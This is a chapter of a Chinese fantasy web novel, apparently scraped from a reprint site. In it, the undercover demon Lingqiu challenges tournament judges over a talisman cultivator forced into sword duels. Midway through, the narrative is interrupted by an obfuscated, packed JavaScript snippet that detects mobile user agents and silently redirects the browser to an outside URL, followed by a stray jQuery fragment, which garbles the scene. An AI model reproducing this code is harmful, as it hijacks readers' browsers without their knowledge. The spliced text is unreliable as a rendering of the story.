13.路见不平唇枪舌剑

作品:《某天,大魔头成了正道魁首

    自从卧底仙门,她打了不知多少次擂,还是头回见到一场打完,连口气也不带喘,马上就上下一场的。


    灵秋走回观众席。江芙惊讶地问她:“你怎么又回来了?”


    灵秋看着远处台上浑身是血的云靖,冷笑连连:“我想看看他是怎么死的。”


    她拿起红绸带,随手将头发挽了,认真地盯着那方擂台上的动静,在对上云靖的目光时朝他递出一个恶狠狠的眼神。


    叫你不要命地打我,现在好了。


    你就等死吧。呵呵。


    灵秋聚精会神地关注着云靖的对手。


    那是一个跟他差不多年纪的姑娘,有着一张消瘦的脸,鹅蛋白的皮肤上镶嵌着黑沉沉的眼睛、长密密的睫毛,眉峰深而微微上挑,青衫磊落,装扮朴素。


    她的五官并不精致,偏一双眼睛阔而明亮,若一汪泉水,颤动着紧张的微波。


    游观青站上这方擂台,代表的是北方的仙门世家——梁溪苏氏。


    可她不姓苏。


    灵秋注意到游观青执剑的手。


    她的手既不纤细,也不柔腻,覆盖着一层清晰可见的茧——既不在虎口也不在指根,在关节和指腹。


    胥阳山上清苦十年,灵秋一眼看出——这是一双被粗活磋磨过的手,而非修士惯常握剑的手。


    他们竟然让一个普通人站上擂台!?


    灵秋猛地看向世家所在的方向。


    锦绣锻袍连绵成不绝的海,浩浩荡荡,蔽日遮天。苏氏家主坐在看台最高处,目光淡漠地注视着场中的两人,他身侧,一个又一个世家掌权人安然坐着,表情是一样的沉稳,一样的冷漠。


    家主们正下方,站着这一代氏族中最优秀的年轻子弟。


    这些少男少女同样看着场下,脸上的表情与父辈如出一辙。


    众人间,唯有一个相貌俊秀的少年俯身靠在栏杆上,紧张而密切地关注着擂台。


    随着比试开始,游观青手中宝剑曲折蜿蜒,艰难地抵挡着云靖的进攻。


    她的身法十分娴熟,剑术却极为生涩,不一会儿便落了下风。


    江芙也瞧出不对劲,蹙眉道:“她好像不是剑修!”


    灵秋朝裁判席上的三位仙士投去一眼。


    此时游观青已经被多次击倒,口中鲜血汩汩,洇红了地面。


    难道没人看出不对劲吗?这是被允许的吗?


    灵秋皱着眉,只见三位仙士一语不发。倒是场中的云靖终于觉察出几分不对。


    凝霜剑在空中挽出一道剑花,利落地背在身后。云靖对游观青道:“你不是我的对手,现在认输,可保一条性命。”


    游观青闻言却从地上挣扎着站起来。


    “我不认。”


    她抬手抹去嘴角的血,握紧了剑,旋即飞身,再度攻向云靖。


    “今日参加比试的人怎么一个比一个还不要命?”


    身侧,不知哪门哪派的弟子发出由衷的疑问。灵秋眼见擂台上的少女被一次次击倒又一次次坚持着站起来。宝剑在空气中勾勒出青涩的弧线,连连不绝。


    她紧紧抓住每一个可乘之机,青衫都被血浸透,有好几次,眼看就要被击飞出去,最后一刻却不顾性命,死死坚持在一个危险的位置,剑尖点地,在擂台上一路划出炫目的火光。


    “最后一次。”云靖剑指游观青,“我不想杀人。”


    长时间的连续打斗让他本就重伤的身体不堪重负。凝霜剑的剑尖在空气中微微颤抖,云靖使出最后一击。


    嘭!


    游观青认命般闭上眼,摔下了擂台。


    “本场,银霜楼云靖对梁溪苏氏游观青,云靖胜!””


    欢呼与掌声齐齐灌入耳朵。


    云靖转身看向灵秋,灵秋的目光却始终追随着游观青。


    那个先前看台上唯一紧张的俊秀少年飞下来,落到游观青身侧,伸手做出一个搀扶的姿势。


    他关切地看着她,游观青却紧紧盯着场外的另一个人。


    灵秋在接收到这份注视时愣了一下。


    那双在擂台上神采奕奕的眼睛此刻如一潭死水,游观青望着她的表情迷茫而沉重,就像终于得到宣判的死囚。


    她不明所以,直到听见裁判席上传来:“下一场,逍遥派凌秋对梁溪苏氏游观青,请上场准备!”


    灵秋恍然大悟。


    看游观青的样子,似乎一点也不想和她打。


    灵秋低头思索着。


    江芙在这时递来自己的剑,她摇摇头。


    云靖与灵秋擦肩而过,只见她大踏步走向游观青。


    “你不是剑修。”


    灵秋直截了当地给出结论,游观青和那个少年同时露出惊讶的神情。


    怎么,难道他们以为在场的人全都是瞎子吗?


    灵秋在心里默默吐槽。


    仙士催促着无关人士离场,少年一步三回头地走了。


    游观青心道:“即便对手是传说中的凌秋,也不能不战而退。”


    她提着剑往擂台去,灵秋却绕到她身前,拦住她的去路。


    裁判台上传来威严的声音,风云震动,仙士的催促一声高过一声,她也只是一动不动地看着她,垂首问道:“你修的……是什么道?”


    “符修。”游观青答:“我是符修。”


    灵秋笑了:“那这一场,我就和你比画符,行吗?”


    游观青惊讶地看着灵秋,呆滞地点头。灵秋便迅速转过身,对着高台上的仙士大声宣布:“我不和她比剑,只和她比符。”


    一言既出,四座哗然。


    最左侧的一位蓝袍仙士闻言嗤笑一声,道:“剑道比试,你要比符?”


    “没错。”


    灵秋毫无惧色地望向他:“我只和她比符。”


    “不可能。不过,你可以现在就认输。”


    右侧,另一位灰袍仙士淡淡开口。


    “我可不想认输。”灵秋盯着高处的三人,“既然不能和她比符,比剑也不是不行。只不过,我要换一个对手。”


    “你到底想怎样?”


    蓝袍仙士极不耐烦。


    灵秋伸手往台上一指,嘴角勾起一抹弧度,用无比清晰且笃定的声音,大声说道:“我要和你——你们比。”


    她道:“阳华仙会既然是为太霄辰宫选拔内门弟子,自然要择出实力最强的那个。在场众人,最强的恐怕就是几位仙士了。我和你们比剑,要是赢了,那不就证明我是此处最厉害的那个吗?如此一来,之后的比试也用不着了。一劳永逸,求之不得。”


    “你想和我比?”蓝袍仙士干笑几声,忽而变了脸色,叱道:“我是主司,你是剑士,你这是以下犯上!”


    灰袍仙士冷冷道:“不懂规矩。”


    灵秋闻言一声轻笑,道:“江湖规矩,历来比试之后要留出时间供修士恢复调整,今日你们咄咄逼人,不断催促,致使败者力竭,胜者重伤。”


    她指向远处浑身是血,虚弱倚靠在于风身侧的云靖,刻意回避了他灼热的视线 。


    “既然主司可以如此不顾规矩,枉顾性命,剑士一样可以打破常规,另辟蹊径。你不顾惜我的性命,我又凭什么守着规矩,顾及你的体面?”


    灵秋盯着一蓝一灰两道身影,挑衅地说:“两位若是怕了,只管一起上场。”


    她扯开发带,捏在手上:“方才在座诸位都瞧见了,我手中铁剑早已沉入江水,所以与你们对打,这一局,我只用绸带。”


    一阵风过,吹起她青丝飘扬如瀑。红绸张扬,灵秋笑得更张扬:“怎么,话及此处,两位还是不敢应战吗?”


    全场鸦雀无声。


    “疯了。”


    江芙目睹灵秋口出狂言,紧紧揪住逍遥散人的衣袖,急道:“师父,快想想办法啊!”


    要是两位仙士真的被激怒下场,师妹就完了!


    霍羽也跟着说:“师父,要不您赶紧上场去吧!”


    兰翘兴奋地附和:“是啊,师父,您快上场去帮师姐打架吧!”


    “上上上,上什么上。”逍遥散人狠狠抽出发皱的衣袖。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288094|166455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他看向高台中间始终沉默的白衣女人,负手泰然道:“放心吧,不可能打起来,你们以为阳华仙会是什么?菜场啊。主司和剑士打起来,还二对一,传出去太霄辰宫还要不要脸?看着吧,最厉害的那个马上就要出手了。”


    话音刚落,只听那蓝袍仙士哼哼一声,怒道:“你要打,我就跟你打!只怕你今日有命叫板,无命下台!”言罢,径自飞身而下。


    白衣女人指尖溢出一道流光,捆仙锁似的,刷刷几下绑住他,禁锢了一切动作。


    女人柔媚的声音响起,带着三分慵懒:“入门多少年了,怎么还跟个炮仗似的,一点就炸。”


    蓝袍仙士小声唤了声:“师叔!”


    白衣女人丝毫没有理会,她望向灵秋,笑道:“阳华仙会是为太霄辰宫挑选弟子,也是为天下苍生挑选护卫与倚仗。待来日,你们这些年轻人走入尘世,除魔卫道,难道穷凶极恶的魔族会在大战之后,好心留给你们机会修整吗?”


    她的语气柔和,却带着不容侵犯的威仪:“阳华仙会历来如此,无法适应只能说明你的修为尚弱,还不足以成为一个合格的斩魔人。”


    除魔,斩魔,穷凶极恶。


    她每说出一个“魔”字,灵秋的太阳穴就狠狠抽动一下。


    她在心里拼命完全带入凌秋的角色,深吸一口气,反问道:“仙尊的意思是优胜劣汰,今日在这场中重伤乃至死亡的修士都是求仁得仁咯?”


    “自然。”


    “敢问太霄辰宫之人使命为何?”


    “除魔卫道,护佑苍生。”


    “敢问苍生几何?”


    “天下之大,俱是苍生。”


    “那你有没有想过,今日在场的修士若不死不伤,走入人间,也能除魔,也能卫道,也能护佑哪怕一个、两个所谓的苍生!天下之大,并非所有魔族都是穷凶极恶……无法战胜之辈。”


    灵秋道:“我不懂什么大道理,只知道人被杀,就会死。受伤就会留疤。这些人原本可以死在与魔族对抗的战斗中,如今却因为不合理的赛制,为了太霄辰宫虚无缥缈的盛名,死在同僚手上。”


    她看着白衣女人,一字一顿地说:“这不是除魔卫道,而是自相残杀,草菅人命。”


    “还有符修。”


    白衣女人皱了皱眉,灵秋没有给她开口的机会,自顾自接着说:“我知道,阳华仙会历年只收剑修,无非是觉得修剑道的人更厉害,能多杀几个魔族。”


    “可我想请教仙尊,都说人间北方仙门世家历来多符修,你们如此急切地寻求剑士,是否这些修符的人在太霄辰宫眼中都是不堪一击之辈,整个北方是倚仗太霄辰宫的庇护才得以在魔族手中苟延残喘至今?”


    人群泛起喧闹,看台右侧,原本安稳看戏的北方修士此刻全都开始交头接耳,十几位世家家主也忍不住将目光齐齐投向白衣女人,微微皱了眉。


    整个人间以绵延的山脉为界,划分南北。南方世家,有大大小小的仙门,有太霄辰宫,北方则世家林立,被古老的氏族牢牢把控。


    自从徐悟建立太霄辰宫,世家权力被大大削弱。灵秋的这番话不仅贬损了符修,更动摇了最根本的东西。


    今日,无论如何和也要逼出个结果。


    无数窃窃私语中,灵秋看见白衣女人愣了一下,旋即笑道:“好一个伶牙俐齿的姑娘。”


    “天下修士俱是一家,均以除魔卫道为己任,何来南北剑符之分。太霄辰宫从不敢妄自居功,至于阳华仙会,对打、试炼均由参赛之人自己把握,若力有不逮,随时都可以退出,自由决定,又何来草菅人命之说?”


    她轻声慢语,挥手拖回那被绑在半空中的蓝袍仙士,笑道:“你若执意要与这位姑娘比符,你二人又均无异议,那便比吧。”


    “不过,”白衣女人看向游观青,“即便赢了,下一场也还是要与剑修碰上。到那时,可就不会再有人答应以符换剑了。”


    “多谢仙尊成全。”


    灵秋浅浅一笑,终于转身对游观青道:“来吧。”